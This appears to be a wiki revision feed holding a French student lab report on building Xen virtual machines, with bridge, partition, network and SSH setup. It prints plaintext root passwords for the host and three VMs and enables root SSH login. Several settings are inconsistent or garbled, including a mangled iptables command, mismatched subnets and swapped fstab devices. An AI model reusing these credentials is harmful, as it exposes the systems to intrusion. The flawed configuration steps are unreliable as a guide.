&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
On active le SSH en ajoutant dans &amp;lt;code&amp;gt;/etc/ssh/config&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
PermitRootLogin yes&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour redemarrer le service ssh :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/init.d/ssh restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ensuite après avoir reboot on peut faire dans nos machines de services :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mascaradeiptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.1.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11431</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11431"/>
		<updated>2026-01-26T11:15:32Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Etape 4 : */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.10.3/24&lt;br /&gt;
    gateway 192.168.10.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.10.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf &amp;lt;/code&amp;gt;:&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
(Dans TOUTES les VMs)&lt;br /&gt;
&lt;br /&gt;
